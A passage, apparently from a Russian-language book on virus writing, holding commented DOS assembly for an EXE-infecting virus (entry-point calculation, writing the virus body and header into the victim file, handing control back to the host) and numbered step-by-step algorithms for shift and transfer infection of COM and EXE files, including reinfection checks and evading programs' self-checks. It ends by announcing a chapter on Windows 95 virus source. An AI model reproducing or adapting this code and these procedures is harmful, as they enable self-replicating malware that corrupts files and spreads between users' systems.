mov [si+PageCnt],ax
mov [si+PartPag],dx
;Прочитаем реальную длину файла.
;По ней будем рассчитывать новую
;точку входа в программу (адрес запуска)
Eval_new_entry:
mov dx,Reallen+2
mov ax,Reallen
;Рассчитаем новую точку входа.
;Точка входа в вирус должна находиться
;в начале его тела. Другими словами, нужно к длине файла
;прибавить смещение точки входа.
;Разделим длину на размер параграфа (10h)
mov cx,10h
div cx
;Получили число параграфов (AX) и остаток (DX – смещение
;вируса в последнем параграфе).
;Отнимем от числа параграфов в файле число
;параграфов в заголовке – получим сегмент входа в EXE−файл
sub ax,[si+HdrSize]
;Запишем новую точку входа в заголовок
mov [si+ReloCS],ax
mov [si+ExeIP],dx
;Замечание: можно было округлить полученное число,
;и вирус начинался бы с 0000h.
;Но этого делать не стоит.
;Естественно, все обращения к данным в этом вирусе
;должны быть нефиксированными, как и в любом другом вирусе.
;Вместо "mov ax,ANYDATA" придется делать так:
; mov si,VIRSTART
; mov ax,[si+offset ANYDATA]
;где offset ANYDATA – смещение относительно начала тела вируса
;Стек поставим за тело вируса – байт на 100h. Потом обязательно
;вернем, иначе можно стереть заготовленные в стеке значения!
;Установим сегмент стека такой же, как и кода,
;а указатель на вершину стека –
;на 100h байт после тела вируса
mov [si+ReloSS],ax
mov ax,VIRSIZE+100h
mov [si+ExeSP],ax
;Теперь запишем заголовок в файл, не забыв и тело вируса.
;Рекомендуется писать сначала тело, а потом заголовок.
;Если тело вдруг не допишется,
;то файл испортим зря
UpdateFile:
;Запишем тело вируса
WriteBody:
;Установим указатель чтения/записи в конец файла
mov bx,Handle
xor cx,cx
xor dx,dx
mov ax,4202h
int 21h
;Запишем тело вируса в файл
mov ah,40h
mov cx,VIRSIZE
mov dx,offset VIRStart
int 21h
;Запишем заголовок
WriteHeader:
;Установим указатель чтения/записи в начало файла
mov ax,4200h
xor cx,cx
xor dx,dx
int 21h
;Запишем заголовок в файл
mov cx,0018h
mov ah,40h
mov dx,si
int 21h
Итак, вирус "поселился" в EXE-файле. А как после окончания работы вируса передать управление инфицированной программе? Вот процедура выхода из вируса:
CureEXE:
StackBack:
;Установим первоначальный указатель (сегмент и смещение) стека
mov ax,ds
;Прибавим 0010h, после чего в AX будет
;находится сегмент, с которого
;загружен программный модуль
add ax,10h
;Прибавим первоначальный сегмент стека
db @add_ax ;код ADD AX, дальше по аналогии
OldSS dw ? ;это значение было установлено
;при заражении
;Запретим прерывания, так как со стеком нельзя работать,
;пока и сегмент, и смещение не установлены в нужное значение
cli
;Установим сегмент стека (PSP+10h+OldSS)
mov ss,ax
;Установим первоначальный указатель (смещение) стека
db @mov_sp
OldSP dw ?
;Разрешим прерывания – опасный участок пройден
sti
;Подготовим значения в стеке для команды IRET
RetEntryPoint:
pushf
;Рассчитаем сегмент для кода по аналогии с сегментом стека
mov ax,DATASEG
add ax,10h
db @add_ax
OldCS dw ?
;Сохраним в стеке полученное значение (PSP+10h+OldCS)
push ax
;Сохраним в стеке смещение исходной точки входа
db @mov_ax
OldIP dw ?
push ax
;Запустим программу. В стеке находятся смещение
;точки входа, сегмент точки входа и флаги
iret
Внедрение способом сдвига
Инфицируемая программа размещается в файле после кода вируса, сдвигаясь на его длину, отсюда и название метода. Алгоритм работы вируса следующий:
1. Открыть файл, из которого получено управление.
2. Считать в буфер тело вируса.
3. Закрыть файл.
4. Найти файл-жертву (для данного типа вирусов лучше COM-файл, но можно и не слишком большой EXE – это связано с тем, что все тело инфицируемой программы считывается в память и ее может не хватить, если эта программа слишком большая).
5. Открыть файл-жертву.
6. Проверить файл на повторное заражение (здесь могут быть варианты, но чаще всего используется сигнатура).
7. Если файл уже инфицирован, перейти к пункту 3.
8. Считать в буфер все тело программы.
9. Записать в начало файла тело вируса из буфера.
10. Дописать в файл после тела вируса тело программы из буфера. Длина программы увеличивается на длину вируса.
11. Закрыть файл-жертву.
12. Открыть файл, из которого стартовали.
13. Считать в буфер тело инфицированной программы, расположенное в файле после тела вируса.
14. Создать на диске временный файл с расширением COM или EXE (в зависимости от того, какой тип программ заражается).
15. Записать в этот файл тело программы из буфера.
16. Закрыть созданный файл.
17. Процедурой Exec запустить созданный файл на исполнение – выполнится инфицированная программа.
18. После завершения работы программы созданный файл удалить.
19. Вернуть управление в DOS.
Вирусы – это хорошая гимнастика для ума, хотя многие думают, что написать вирус на языке высокого уровня весьма трудно. Это не совсем так. Писать на языке Pascal довольно легко, правда величина полученного кода вызывает благоговейный трепет.
Внедрение способом переноса
Вирусы данного типа размножаются следующим образом. Из инфицируемой программы от начала файла считывается часть кода, по длине равная длине вируса. На освободившееся место вписывается вирус, а оригинальное начало программы переносится в конец файла. Отсюда и название метода – "метод переноса". Есть и другие варианты. Иногда, например, начало программы записывается в середину файла, а середина переносится в конец, чтобы еще сильнее все запутать. Превосходство данного метода над другими описанными в том, что инфицированная программа исполняется в том же виде, в каком она была до заражения, из файла с тем же именем и расширением. То есть программы, проверяющие себя на предмет заражения вирусом, его не замечают. Корректно исполняются и такие программы, которые ищут свои файлы конфигурации с именами:
ИМЯ_И_ПУТЬ_К_САМОЙ_ПРОГРАММЕ +.INI
Недостаток данного метода проявляется при сбоях в работе компьютера. Если при исполнении инфицированной программы компьютер "повиснет" или произойдет перезагрузка системы, инфицированная программа окажется "чистой", то есть без вируса. Но, во-первых, "кто не рискует, тот не пьет шампанского", а во-вторых, программы виснут редко. Алгоритм работы такого вируса следующий:
1. Открыть файл, из которого получено управление.
2. Считать в буфер тело вируса.
3. Закрыть файл.
4. Найти файл-жертву.
5. Открыть файл-жертву.
6. Проверить файл на повторное заражение (здесь могут быть варианты, но чаще всего используется сигнатура).
7. Если файл уже инфицирован, перейти к пункту 3.
8. Считать в буфер из начала найденного файла фрагмент программы, по длине равный телу вируса.
9. Записать в начало файла тело вируса из буфера.
10. Дописать в конец файла считанное начало программы из буфера. Длина программы увеличилась на длину вируса.
11. Закрыть файл-жертву.
12. Открыть файл, из которого стартовали.
13. Считать в буфер начало инфицированной программы, расположенное в конце файла.
14. Записать считанное начало программы поверх кода вируса в начало файла.
15. Сократить файл до его оригинальной длины (то есть удалить часть кода, по длине равную длине тела вируса, в конце файла).
16. Закрыть файл.
17. Процедурой Exec запустить стартовый файл (ParamStr(O)) на исполнение – выполнится инфицированная программа.
18. После завершения работы программы опять открыть стартовый файл.
19. Записать в начало файла тело вируса, а оригинальное начало программы опять переместить в конец файла.
20. Закрыть файл.
21. Вернуть управление в DOS.
Глава 3 Вирусы под Windows
В этой главе рассказано о вирусах, заражающих файлы в операционной среде Windows. Наиболее подробно рассмотрены вирусы под Windows 95. Представлены исходные тексты вирусов с подробными комментариями. Также приведены основные сведения о запускаемых файлах программ под Windows, их структуре, отличиях от файлов DOS.